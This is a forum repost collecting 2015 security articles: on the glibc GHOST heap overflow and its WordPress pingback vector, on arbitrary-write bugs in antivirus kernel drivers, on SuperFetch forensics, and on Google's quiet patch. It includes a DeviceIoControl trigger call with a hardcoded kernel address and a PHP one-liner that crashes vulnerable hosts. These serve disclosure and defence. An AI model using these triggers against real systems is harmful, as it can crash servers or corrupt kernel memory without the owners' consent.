Nytro

GHOST gethostbyname() heap overflow in glibc (CVE-2015-0235) A heap-based buffer overflow vulnerability in glibc (CVE-2015-0235) was announced this week. It seems as though all new vulnerabilities need to have catchy marketing names so this one was dubbed "GHOST" which was derived from the vulnerable glibc function name - "GetHOSTbyname()". Vulnerability Notes Here are the key points thus far: The vulnerability affects all versions of glibc from glibc-2.17 and lower The bug was patched in glibc-2.18 in May 2013, but was not marked as a security bug so the fix did not make it into many common Linux distributions like RedHat and Ubuntu. To our knowledge, this is not currently being exploited in the wild Qualys has not released any PoC code but they plan to release a Metasploit module in the near future. Qualys was able to remotely exploit a mail server running Exim mail software but it’s unclear what other software might be vulnerable. (They are working on a metapsloit module specifically for the Exim exploit) Regarding other Linux server software Qualys wrote: "to the best of our knowledge, the buffer overflow cannot be triggered in any of [these]: apache, cups, dovecot, gnupg, isc-dhcp, lighttpd, mariadb/mysql, nfs-utils, nginx, nodejs, openldap, openssh, postfix, proftpd, pure-ftpd, rsyslog, samba, sendmail, sysklogd, syslog-ng, tcp_wrappers, vsftpd, xinetd." Wordpress XML-RPC Pingback Vector It has been speculated that the XML-RPC pingback functionality in Wordpress installs may be vulnerable to remote exploitation. We decided to run some tests to see if it is in fact vulnerable. We previously did a blog post outlining how the Wordpress XML-RPC "pingback" functionality could be abused by attackers to force unsuspecting websites into participating in DDoS attacks. To summarize, in that attack, the attacker sends an XML request to the "/xmlrpc.php" script: The YELLOW highlighted data is a WordPress "Patsy Proxy" site while the ORANGE highlighted data is the DDoS target/victim website. In this scenario, the XML-RPC "pingback" code in PHP is using the gethostbyname() function call on the ORANGE highlighted data so that it can resolve it to an IP address for the remote request it will send. This is the exploit vector we chose to focus on for GHOST testing. Modifying Input for GHOST Vulnerability Testing Instead of sending a normal sized URL in the XML pingback.ping method body, we need to send a large one. Here is a Ruby PoC script: The script takes command line arguments for the size of payload that you want to send. During our testing in SpiderLabs Research, we identified different size ranges that worked on different platform/versions of glibc, php and wordpress. After sending the attack payload, we have seen the HTTP process responds with the following: 500 HTTP Response Status code with php-cgi No HTTP Response with mod_php There are errors in the Apache error_log file when the process crashes: This PoC allows users to remotely verify if a target web server is vulnerable to the CVE however it does not demonstrate exploitability. Here is the glibc and php version information for the two systems we used during this test: Recommendations Install glibc Patches Example for Ubuntu Linux Distributions: sudo apt-get clean sudo apt-get update sudo apt-get upgrade And don't forget to reboot! Disable XML-RPC It is possible to disable the XML-RPC process altogether if you do not want to use it. There are even plugins that will disable it. Disable Pingback Requests You may also disable the pingback feature by adding the following to your functions.php file: WAF Protections By using a WAF, you can identify initial pingback XML requests on your Wordpress site and look for attacks. The Trustwave WAF has a profiling and learning engine called "Adaption" that is able to identify these types of anomalies vs. normal user traffic. We have also added rules to our commercial SpiderLabs ModSecurity rules package to identify this specific PoC attack vector. Monitor Your Logs When attackers are attempting to exploit this vulnerability against your web servers, there will most likely be error messages (segmentation faults, etc...) that will indicate a problem. Organizations should be vigilant in monitoring their logs and following up on an anomalous errors. Acknowledgments I would like to thank my fellow SpiderLabs Research colleagues who helped with testing and the content of this blog post: Robert Rowley Christophe De La Fuente Chaim Sanders Felipe Costa Jonathan Claudius Karl Sigler Posted by Ryan Barnett on 29 January 2015 Sursa: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html

Analysis Of An Interesting Windows Kernel Change Mitigating Vulnerabilities In Some Security Products Posted by Parvez on January 28, 2015 Last year I started researching into the Windows kernel to get a better understanding of privilege escalation vulnerabilities. Vulnerabilities in the kernel are a serious issue as they could be used to bypass browsers sandboxes and end up compromising the entire system. In general most people assume that security products are developed with security in mind and can be trusted, so I thought I would start my assessment on security products and see how secure they really are from kernel attacks. Within a couple of months of research six vulnerabilities had already been discovered in various products from different vendors. What was particularly interesting is that they all exhibited the same type of vulnerability, which only seemed to exist on older operating systems. This blog post details the technical research carried out in order to pinpoint the root cause as to what had changed from Windows XP and Windows Server 2003 to later Windows operating systems. The vulnerability The vulnerability exists when drivers do not validate the output buffer address and output buffer size. Applications wanting to talk to the kernel communicate through the use of theDeviceIOControl function. DeviceIoControl(hDevice, 0x00222000, inbuffer, BUFSIZE, (LPVOID)0xF4F5F6F7, 0, &dwRetBytes, NULL);In this example we can see two things of interest, first is that using LPVOID we can send in a hardcoded output buffer address and second is the output buffer length has been defined to 0. Sending this to a vulnerable driver will trigger a bugcheck. Debugger Output In the bugcheck analysis below the write address is the same as passed through the DeviceIOControl function, which basically means we have found an arbitrary memory overwrite vulnerability. If we look at the call stack, the bugcheck was triggered in function nt!IopCompleteRequest kd> !analyze -v *************************************************************************** * * * Bugcheck Analysis * * * *************************************************************************** PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: f4f5f6f7, memory referenced. Arg2: 00000001, value 0 = read operation, 1 = write operation. Arg3: 804ec09b, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000000, (reserved) Debugging Details: ------------------ Could not read faulting driver name WRITE_ADDRESS: f4f5f6f7 FAULTING_IP: nt!IopCompleteRequest+92 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] MM_INTERNAL_CODE: 0 CUSTOMER_CRASH_COUNT: 1 DEFAULT_BUCKET_ID: DRIVER_FAULT BUGCHECK_STR: 0x50 PROCESS_NAME: dos_greyhat.exe IRP_ADDRESS: 86593dd8 DEVICE_OBJECT: 866e10f0 LAST_CONTROL_TRANSFER: from 804ec11a to 804ec09b STACK_TEXT: f411baec 804ec11a 86593e18 f411bb38 f411bb2c nt!IopCompleteRequest+0x92 f411bb3c 806f5c0e 00000000 00000000 f411bb54 nt!KiDeliverApc+0xb3 f411bb3c 806f00b3 00000000 00000000 f411bb54 hal!HalpApcInterrupt2ndEntry+0x31 f411bbc8 804e53cc 86593e18 86593dd8 00000000 hal!KfLowerIrql+0x43 f411bbe8 804ec134 86593e18 8659f3e0 00000000 nt!KeInsertQueueApc+0x4b f411bc1c f7e99562 8659f3e0 86594390 86593dd8 nt!IopfCompleteRequest+0x1d8 WARNING: Stack unwind information not available. Following frames may be wrong. f411bc34 804e3767 866e10f0 867cf288 806f0070 ghhpoc+0x562 f411bc44 805682ab 86593e48 8659f3e0 86593dd8 nt!IopfCallDriver+0x31 f411bc58 805771e2 866e10f0 86593dd8 8659f3e0 nt!IopSynchronousServiceTail+0x70 f411bd00 80579705 000007e8 00000000 00000000 nt!IopXxxControlFile+0x611 f411bd34 804de7f8 000007e8 00000000 00000000 nt!NtDeviceIoControlFile+0x2a f411bd34 7c90e514 000007e8 00000000 00000000 nt!KiSystemServicePostCall 0012fe3c 00000000 00000000 00000000 00000000 0x7c90e514 STACK_COMMAND: kb FOLLOWUP_IP: ghhpoc+562 f7e99562 ?? ??? SYMBOL_STACK_INDEX: 6 SYMBOL_NAME: ghhpoc+562 FOLLOWUP_NAME: MachineOwner MODULE_NAME: ghhpoc IMAGE_NAME: ghhpoc.sys DEBUG_FLR_IMAGE_TIMESTAMP: 54b18dfe FAILURE_BUCKET_ID: 0x50_ghhpoc+562 BUCKET_ID: 0x50_ghhpoc+562 Followup: MachineOwner --------- kd> r eax=00000008 ebx=86593dd8 ecx=00000002 edx=00000000 esi=867cf288 edi=f4f5f6f7 eip=804ec09b esp=f411baa8 ebp=f411baec iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 nt!IopCompleteRequest+0x92: 804ec09b f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Vulnerable Driver Analysis Reverse engineering the driver the bugcheck is triggered after the call of the functionIofCompleteRequest. The IoCompleteRequest function indicates that the driver has completed all processing for a given IRP and is returning the IRP back to the I/O manager. IRP is an I/O request packet and is how Windows communicates with drivers. The IRP data structure contains information used by drivers. Comparing IRP data Since the goal was to find the root cause as to why this vulnerability only applies to older versions of Windows, I started comparing Windows XP to Windows 7. Setting a breakpoint before our call to the IoCompleteRequest function and looking at the IRP data in WinDbg, we can see UserBuffer contains the address of our output buffer address. One noticeable change was the “Flags” value. Windows XP had a value of 0x70 whereas Windows 7 had a value of 0x60030 In Windows XP ebx contains pointer to IRP kd> dt nt!_irp @ebx +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x70 +0x00c AssociatedIrp : __unnamed +0x010 ThreadListEntry : _LIST_ENTRY [ 0x8650dfb0 - 0x8650dfb0 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0xc '' +0x028 UserIosb : 0x0012fe18 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : __unnamed +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : __unnamedIn Windows 7 esi contains pointer to IRP kd> dt nt!_irp @esi +0x000 Type : 6 +0x002 Size : 0x94 +0x004 MdlAddress : (null) +0x008 Flags : 0x60030 +0x00c AssociatedIrp : <unnamed-tag> +0x010 ThreadListEntry : _LIST_ENTRY [ 0x85257f94 - 0x85257f94 ] +0x018 IoStatus : _IO_STATUS_BLOCK +0x020 RequestorMode : 1 '' +0x021 PendingReturned : 0 '' +0x022 StackCount : 1 '' +0x023 CurrentLocation : 3 '' +0x024 Cancel : 0 '' +0x025 CancelIrql : 0 '' +0x026 ApcEnvironment : 0 '' +0x027 AllocationFlags : 0x6 '' +0x028 UserIosb : 0x0023f7b8 _IO_STATUS_BLOCK +0x02c UserEvent : (null) +0x030 Overlay : <unnamed-tag> +0x038 CancelRoutine : (null) +0x03c UserBuffer : 0xf4f5f6f7 +0x040 Tail : <unnamed-tag>IoCompleteRequest Analysis The exported function IoCompleteRequest in ntoskrnl.exe ends up calling IopCompleteRequest function. We can see on Windows XP that it does a bitwise 40 AND 70 and jumps to the inlined memcpy code which ends up triggering the bugcheck. On Windows 7 we see the bitwise 40 AND 30 takes a different codepath and never hits our memcpy. The “test al, 40h” instruction on Windows 7 branches off to another codepath as its doing a bitwise 40 AND 30 instead of bitwise 40 AND 70 as al=30h on Windows 7 which is from the IRP flags value. IopXxxControlFile Analysis “So what causes the flags value to be 30h instead of 70h?” was my next question. After some investigation I discovered that IopXxxControlFile held the answer. The IopXxxControlFile function had been called earlier in our call stack. This function does a number of checks and validations on the inputs provided such as if addresses are in user space, buffer lengths, etc. and sets up our data in IRP. In this function near the beginning it calls the ProbeForWrite function which checks if the address falls in the user space range and writable. The first thing the function does though is check the output buffer length, if zero it returns back to the IopXxxControlFile function without even checking the output buffer address. The ProbeForWrite function below is from Windows XP but is also the same for Windows 7. Returning back to the IopXxxControlFile function and after a number of checks near the end of the code we see our output buffer address being placed in the IRP UserBuffer field and Flags value being updated to 0x70, all it checks on Windows XP if an output buffer address is available. On Windows 7 we finally discover the root cause as to what has changed in the IopXxxControlFile function. It checks the output buffer length instead of the output buffer address. Since the output buffer length is 0 the flags value does not get set to 0x70 thus mitigating the vulnerability. What do these flags values mean? So what do these values 10h, 30h, 40h and 70h represent? Searching through wdm.h header file I found these definitions: #define IRP_BUFFERED_IO 0x00000010 #define IRP_DEALLOCATE_BUFFER 0x00000020 #define IRP_INPUT_OPERATION 0x00000040The values are set in IopXxxControlFile function by performing an OR operation. So doing an OR on IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER produces a value of 30h Converting into code it will look something like this // Windows XP Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (pBufferOut) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;// Windows 7 Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER; Irp->UserBuffer = pBufferOut; if (iBufferOutSize) Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER | IRP_INPUT_OPERATION;When it comes to carry its memcpy operation in IoCompleteRequest function it will look something like this if (Irp->Flags & IRP_BUFFERED_IO) { if ((Irp->Flags & IRP_INPUT_OPERATION) && (Irp->IoStatus.Status != STATUS_VERIFY_REQUIRED) && !(NT_ERROR(Irp->IoStatus.Status))) { RtlCopyMemory(Irp->UserBuffer, Irp->AssociatedIrp.SystemBuffer, Irp->IoStatus.Information); } }Here is it does its bitwise AND operation and dictates its outcome, jump or not to jump. Conditions of a Vulnerable Driver During completion of an IRP the I/O Manager copies the data from the system buffer back to the user’s output buffer if using Buffered I/O method (METHOD_BUFFERED) and the status is of a success or warning. The number of bytes to copy is taken from the Irp->IoStatus.Information field. The following range values indicate error and warning status codes: NTSTATUS codes 0xC0000000 – 0xFFFFFFFF are errors NTSTATUS codes 0x80000000 – 0xBFFFFFFF are warnings In the above code we can see it uses the macro NT_ERROR() to evaluate if not an error status. So if the data is too large for the buffer, the driver completes the IRP with a status STATUS_BUFFER_OVERFLOW (0x80000005), which falls in the warning range, and the Irp->IoStatus.Information will be updated with the buffer size and data copied over. If completed with status STATUS_BUFFER_TOO_SMALL (0xC0000023) which falls in the error range, the I/O Manager does not copy any data back to the output buffer as it sets the Irp->IoStatus.Information to 0. To reproduce a vulnerable driver for testing purposes use this code in your dispatch routine for Buffered I/O. The IoStatus.Information value has to be 1 or more for an overwrite to take place. Irp->IoStatus.Information = 4; Irp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(Irp, IO_NO_INCREMENT); Windows supports three I/O transfer methods, which the driver developer can use for reading and writing data to memory. One method being Buffered I/O where the I/O Manager allocates a system buffer of equal size to the users inputted buffer. For write operations, the I/O manager copies the user’s buffer data into the system buffer. For read operations, the I/O manager copies data from the system buffer to the users output buffer when the IRP completes and then frees the system buffer. Buffered I/O is defined in the driver for example like this CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)So when using METHOD_BUFFERED it copies our system data back to our UserBuffer address when IRP is completed using the IoCompleteRequest function. Fixing a Vulnerable Driver Asking the same question to all the vendors on how they each fixed the issue it was interesting to find different approaches had been taken. One approach was to check if the output buffer address was in the user space if (Irp->UserBuffer > MmHighestUserAddress) { ntStatus = STATUS_INVALID_PARAMETER; }Another approach was to check the size of the output buffer if (iBufferOutSize < sizeof(ULONG)) { ntStatus = STATUS_INVALID_BUFFER_SIZE; } Depending on the dispatch conditions just by changing the status value to an error status is enough to resolve the vulnerability. I would like to thank BullGuard, AVG and K7 Computing for kindly sharing information. A special thanks to BullGuard as they were very helpful and provided a lot more important information which saved me a lot of time on this research. I can’t say the same for the other three vendors: McAfee, Symantec and TrendMicro. All three decided not to share anything; do you see anything confidential in the above code? Published Advisories This table below provides information on the products where this vulnerability had been discovered. [TABLE=width: 624] [TR] [TD=width: 85, bgcolor: #33353D]Vendor[/TD] [TD=width: 185, bgcolor: #33353D]Product[/TD] [TD=width: 75, bgcolor: #33353D]OSVDB[/TD] [TD=width: 150, bgcolor: #33353D]CVE ID[/TD] [TD=width: 85, bgcolor: #33353D]Days[/TD] [TD=width: 104, bgcolor: #33353D]Vendor link[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]McAfee[/TD] [TD=width: 158, bgcolor: #33353D]Data Loss Prevention[/TD] [TD=width: 67, bgcolor: #33353D]117345[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2015-1305[/TD] [TD=width: 95, bgcolor: #33353D]99[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Trend Micro[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Plus Internet Security Maximum Security[/TD] [TD=width: 67, bgcolor: #33353D]115514[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9641[/TD] [TD=width: 95, bgcolor: #33353D]70[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]Symantec[/TD] [TD=width: 158, bgcolor: #33353D]Altiris Client[/TD] [TD=width: 67, bgcolor: #33353D]116082[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-7286[/TD] [TD=width: 95, bgcolor: #33353D]59[/TD] [TD=width: 104, bgcolor: #33353D]Advisory[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]AVG[/TD] [TD=width: 158, bgcolor: #33353D]Internet Security[/TD] [TD=width: 67, bgcolor: #33353D]113824[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9632[/TD] [TD=width: 95, bgcolor: #33353D]26[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]K7 Computing[/TD] [TD=width: 158, bgcolor: #33353D]Ultimate Security Anti-Virus Plus Total Security[/TD] [TD=width: 67, bgcolor: #33353D]113007[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9643[/TD] [TD=width: 95, bgcolor: #33353D]22[/TD] [TD=width: 104, bgcolor: #33353D]None[/TD] [/TR] [TR] [TD=width: 85, bgcolor: #33353D]BullGuard[/TD] [TD=width: 158, bgcolor: #33353D]Antivirus Internet Security Premium Protection Online Backup[/TD] [TD=width: 67, bgcolor: #33353D]114478[/TD] [TD=width: 123, bgcolor: #33353D]CVE-2014-9642[/TD] [TD=width: 95, bgcolor: #33353D]16[/TD] [TD=width: 104, bgcolor: #33353D]Release notes[/TD] [/TR] [/TABLE] Advisories published by some vendors were very unprofessional. Trend Micro had to be advised to correct their description, as they didn’t get it right the first time since it had a number of mistakes and was initially published without consultation. Also the fix applies all the way to Trend Titanium products 2015, which was stated in my vulnerability report but not mentioned in their advisory. For Symantec, well they are not any better. After waiting nearly two months they ended up releasing an advisory advising only to uninstall the driver. Also, their advisory link in their mitigation information section refers to a knowledge base article DOC7993 on how to remove the driver. However, if you take a look as this article it starts off mentioning the MQAC.sys driver and points to a Microsoft link. I had this flagged at the time but no action has been taken. It’s a similar vulnerability so they must have just copied and pasted it without reading it. What is really shocking is that McAfee took 99 days to release an advisory to the public whereas BullGuard took only 16 days. Does that mean if an exploit was made public we would have had to wait 99 days for an update? Also, McAfee failed to mention in their advisory that it also affects Windows Server 2003, which was clearly stated in my vulnerability report as the product is supported on Windows Server 2003. I however did not test it on Windows Server 2003 R2 (32bit) but did reverse engineer ntoskrnl.exe from Windows Server 2003 R2 (64bit) and did have only the address check in the IopXxxControlFile function. There is a 64bit version for McAfee DLP so should be exploitable too. Other Vendors Assessment carried out on some of the security vendors’ products that were not affected from this type of vulnerability are listed below. This is no way an assurance that their products are free from this vulnerability, as there is a possibility some ioctls may have been missed, input buffer sizes may have changed the codepath, device handles not loaded, etc. Agnitum AhnLab Avast Avira BitDefender ClamAV Comodo Emsisoft Eset Fortinet FRISK Software F-Secure G Data Kaspersky Lab Kingsoft Malwarebytes Nano Security Norman Panda Security Sophos TrustPort ThreatTrack Security Webroot Zemana Other Windows Versions Since all my tests were on a fully patched Windows XP SP3 32bit and Windows 7 SP1 32bit I thought I’d check some other operating systems. Checking on Windows Server 2003 SP2 Standard Edition 32bit found to have the same issue as Windows XP and during tests exploited successfully. Windows Server 2003 has still got over 5 months before the end-of-life so for those of you still using Windows 2003 better upgrade to a later operating system if you’ve not already done so. On a clean default installation of Windows Vista 32bit in an unpatched state the output buffer length check had been applied like Windows 7. This means Microsoft did know about this issue and added the check before release. There are plenty of products designed only to run on Windows Servers, which I have not audited, so maybe it’s a good time for researchers to discover some low-hanging fruit. Final thoughts One thing is clear from this research and working with vendors: Just because it’s a big company doesn’t mean you’ll get great service. There are plenty of other vendors doing an excellent job so we should not blindly need to go with the likes of McAfee, Symantec or Trend Micro. Updating machines is a tedious job at times so really we should be focusing on mitigation products like Microsoft EMET and MalwareBytes Anti-Exploit and not be so dependent on constantly updating machines for security. Bottom line is to upgrade to the latest operating systems as it will have a number of mitigations, checks, validations in place that we probably don’t even know about yet keeping us safe. I’ll start submitting the exploits to Exploit-DB in the next few days and tweet you all once published. References http://msdn.microsoft.com/en-us/library/ff550694(v=VS.85).aspx http://msdn.microsoft.com/en-gb/library/cc704588.aspx http://msdn.microsoft.com/en-us/library/ff545693.aspx http://msdn.microsoft.com/en-us/library/windows/hardware/ff548649(v=vs.85).aspx http://doxygen.reactos.org/d6/dfc/ntoskrnl_2io_2iomgr_2irp_8c_source.html http://www.cmlab.csie.ntu.edu.tw/~cathyp/eBooks/WindowsNT/Driver/IRPs.pdf [PDF] http://www.tutorialspoint.com/assembly_programming/assembly_logical_instructions.htm http://blogs.msdn.com/b/doronh/archive/2006/12/12/how-to-return-the-number-of-bytes-required-for-a-subsequent-operation.aspx Sursa: www.greyhathacker.net/?p=818

What is New in Windows Application Execution? Posted by Chad Tilbury Filed under Computer Forensics One of the great pleasures of performing Windows forensics is there is no shortage of application execution artifacts. Application execution tells us what has run on a system and is often the pivot point that reveals important activity on the system. Why was FTP run on this workstation? Is it normal to see execution of winsvchost.exe? Why was a privacy cleaning tool used for the first time during the system owner's last week of work? While undoubtedly useful, our adversaries are more forensic-aware than ever and often take steps to eliminate application execution artifacts. At CrowdStrike we routinelyencounter nation-state groups that attempt to delete Prefetch. Even the popular CCleaner anti-forensics tool defaults to clearing Prefetch and UserAssist data. Hence having additional sources of data can often mean the difference between an easy examination and a long, painful one. UserAssist, Muicache and Prefetch have been long understood and even significantly upgraded in newer versions of Windows. Jared Atkinson and Yogesh Khatri provided excellent updates on Prefetch changes in Windows 8. More recently, Andrew Davis documented the Application Compatibility Cache (Shimcache) and Corey Harrell posted information on the RecentFileCache.bcf file. Yogesh Khatri followed up with Amcache.hve, the replacement to RecentFileCache.bcf in Windows 8. All of these artifacts have particular strengths and weaknesses, but one we haven't heard much about lately is SuperFetch. SuperFetch SuperFetch has been on the forensic radar since the preview versions of Windows Vista. It was lauded as an upgrade to the venerable Prefetch with the promise to proactively optimize application memory with regards to time and usage scenarios. The applications you use first thing in the morning are often different than those after lunch and perhaps different still from those run after work hours. It is important to note that it does not replace the Prefetch service. SuperFetch must have had the desired effect on performance as Microsoft chose to continue its use in Windows 8.1 and Windows 10.SuperFetch consists of a series of "Ag*.db" database files located in the %SystemRoot%\Prefetch folder. It is wildly complicated with a variety of different header formats for different databases, versions and architectures (x86 and x64) of Microsoft operating systems. On systems with SSD drives, it may be turned off by default (similar to Prefetch). There are still many gaps in our knowledge of SuperFetch, but it feels like the community is inching closer. Joachim Metz started a specification document for the format In April of 2014 as part of thelibyal documentation project. However, the number of "Unknown" values in the document make it clear that we have a way to go in developing a true understanding. Parsing SuperFetch SuperFetch tracks "performance scenarios" and is specifically designed to anticipate frequently run applications after system activity like standby mode, hibernation, and fast-user switching. It records the set of memory pages used over a long period of time, allowing it to model user behavior and make better decisions about when to pre-load application data into memory. It is these databases recording what has been loaded in the past that we can take advantage for application execution artifacts. We can currently derive the following information: Application executable names Execution count Foreground count Supporting files (includes the full paths of a wide range of files that have been mapped into memory including DLLs, zip files, documents, database files, and files and folders present on removable media, the Recycle Bin, temp folders, and even Volume Shadow Copies and encrypted volumes) Volumes accessed (example: HardDiskVolume1) Full path information providing data on folders present on various volumes access by the system Timeframes of application activity Timestamp (from the AgAppLaunch database - purpose unknown but appears to not be reliably tied to execution time in testing) The timeframes of application activity fall into the following ranges: Weekday 6AM to 12PM Weekday 12PM to 6PM Weekday 6PM to 12AM Weekday Global Weekend 6AM to 12PM Weekend 12PM to 6PM Weekend 6PM to 12AM Weekend Global Curiously there seems to be a blind spot in the 12AM to 6AM range. Good thing so many hackers are working business hours these days! While timeframe information stored by SuperFetch has yet to be vetted for its reliability, it presumably could help identify application activity occurring at strange times. For instance, is it normal to see your company database application accessed over the weekend? Tools The first tools that I became aware of for parsing SuperFetch were released by TMurgent. Superfetchlist.exeis a CLI tool providing full path information for files referenced in the various SuperFetch databases.SuperFetch Tree is a clever GUI application that provides a graphical tree structure and neatly identifies what databases a given file or folder were referenced within. A few days ago I posted on the CrowdStrike blog about the latest version of the free CrowdResponse tool now supporting Prefetch, Shimcache, and SuperFetch application execution artifacts. CrowdResponse includes a SuperFetch module providing the most solid and useful data from this artifact that I have seen. It is the brainchild of research and development by Alex Ionsecu and Robin Keir and can be used for live data collection or run against databases files exported from a system or forensic image. CrowdResponse parses data from the AgAppLaunch.db SuperFetch database and provides output in XML, CSV, or HTML. The tool extracts an abundance of application execution information, execution counts, and timeframe information. Conclusion It is exciting to have the capability to parse yet another Windows application execution artifact. However, given the state of our knowledge of SuperFetch, I recommend taking a cautionary approach to interpreting data found within these files. There is still much to be discovered, and the good news is that early indications show this artifact will likely continue to exist in Windows 10. Hopefully with more eyes on the databases we can get more comfortable with the available data and continue to learn more. References: [1] Forensics Wiki: SuperFetch [2] Inside the Windows Vista Kernel: Part 2 [3] Windows SuperFetch (DB) Format from libyal Project [4] SuperFetch Tools from TMurgent [5] CrowdResponse with @superfetch plugin Chad Tilbury, GCFA, serves as a Technical Director for CrowdStrike and has spent over fifteen years conducting computer crime investigations ranging from hacking to espionage to multi-million dollar fraud cases. He is a Senior Instructor and co-author of FOR408 Windows Forensics and FOR508 Advanced Computer Forensic Analysis and Incident Response at the SANS Institute. Find him on Twitter @chadtilbury. Sursa: http://digital-forensics.sans.org/blog/2015/01/28/whats-new-in-windows-application-execution

Critical “GHOST” Vulnerability Released By Marc-Alexandre Montpas on January 28, 2015 . 3 Comments A very critical vulnerability affecting the GNU C Library (glibc) is threatening Linux servers for a remote command execution. This security bug was discovered by Qualys security researchers and will probably cause a lot of headaches to those who won’t update right away. Where does the issue come from? This is a buffer overflow issue in glibc’s function __nss_hostname_digits_dots(), which is itself used by multiple others like gethostbyname() and gethostbyname2(). This is a critical issue as these functions are used in an enormous amount of software and server-level mechanisms. An attacker would need to send a very specific set of bytes to the function in order to trigger the bug and attempt to get command execution privileges on the victim’s server. What does it affect exactly? So far, these applications have been proven to fall to the aforementioned attack: clockdiff procmail (through its comsat/biff feature) pppd Exim mail server (if configured with the “helo_verify_hosts” or “helo_try_verify_hosts” options) We also have good reasons to believe PHP applications might also be affected, through itsgethostbyname() function wrapper. An example of where this could be a big issue is within WordPress itself: it uses a function named wp_http_validate_url() to validate every pingback’s post URL: …and it does so by using gethostbyname(). So an attacker could leverage this vector to insert a malicious URL that would trigger a buffer overflow bug, server-side, potentially allowing him to gain privileges on the server. Update as soon as possible! This is a very critical vulnerability and should be treated as such. If you have a dedicated server (or VPS) running Linux, you have to make sure you update it right away. We know for a fact that Centos/RHEL/Fedora 5,6,7 as vulnerable, as well as some Ubuntu versions. As a quick test, if you run the following PHP code on your terminal: php -r '$e="0";for($i=0;$i<2500;$i++){$e="0$e";} gethostbyname($e);' Segmentation fault And get a segmentation fault, it means your server is vulnerable. Be sure to watch for your distribution’s fix for the patch (yum update is your friend). Sursa: Critical “GHOST” Vulnerability Released | Sucuri Blog

Google Fixed GHOST Exploit in Chrome OS in 2014 and Didn't Tell Anyone This is just a mistake on Google's part, most likely Details about a GLIBC vulnerability were published a couple of days ago by a company called Qualys, and the distributions using it have already received patches. Now, it seems that Google knew about this problem, patched it in ChromeOS a year ago, and forgot to say anything to anyone. Things are pretty clear in the open source world. When someone finds a vulnerability, exploit, or any kind of issues, that person or entity usually informs everyone else about it. That's the reason why CVE (Common Vulnerabilities and Exposures) exists so that everyone can patch their systems accordingly and keep their systems safe. All kinds of problems are found almost on a daily basis. Users don't usually hear about them because they are not major issues and they are patched very quickly. This happens in the open source world, with Linux systems and alike. There is a completely different ball game with proprietary software. From time to time, a big one is found and everyone knows about it. Many of you have heard of Heartbleed or Shellshock. This is a general rule, although it's not always true. If you hear about it, then it's probably important. Which brings us to GHOST, a GLIBC vulnerability. Despite what you might think, it's not a really big deal, but that's not the issue here.Google knew about it since 2014 As usual, Reddit is here to the rescue. A user noticed that a patch for this problem was already present in Chrome OS back in 2014, which begs the question: why are the rest of us just hearing about this now? Moreover, a German website, heise.de, proved that Chrome OS had the patch since April 2014, which is actually a problem because it didn't spread any farther than that. "The comit message clearly states they were aware of the vulnerability nature of this fix: 'glibc: backport an nss overflow patch. This beckports a patch to fix a nss vulnerability inside glibc. I'm CC-ing the committer. Maybe we can shed some light on this. Two people having fixed this in different places without crying alarm - it's worrying," wrote journalist Hanno Böck on a security-related mailing list. Most likely, this is just a mistake and Google didn't do this on purpose, but it does raise another question. How many more of these unreported and solved problems are there? This is just breaking and Google has yet to say anything. Stay tuned, we might have some more information about this subject soon. By Silviu Stahie Sursa: Google Fixed GHOST Exploit in Chrome OS in 2014 and Didn't Tell Anyone - Softpedia

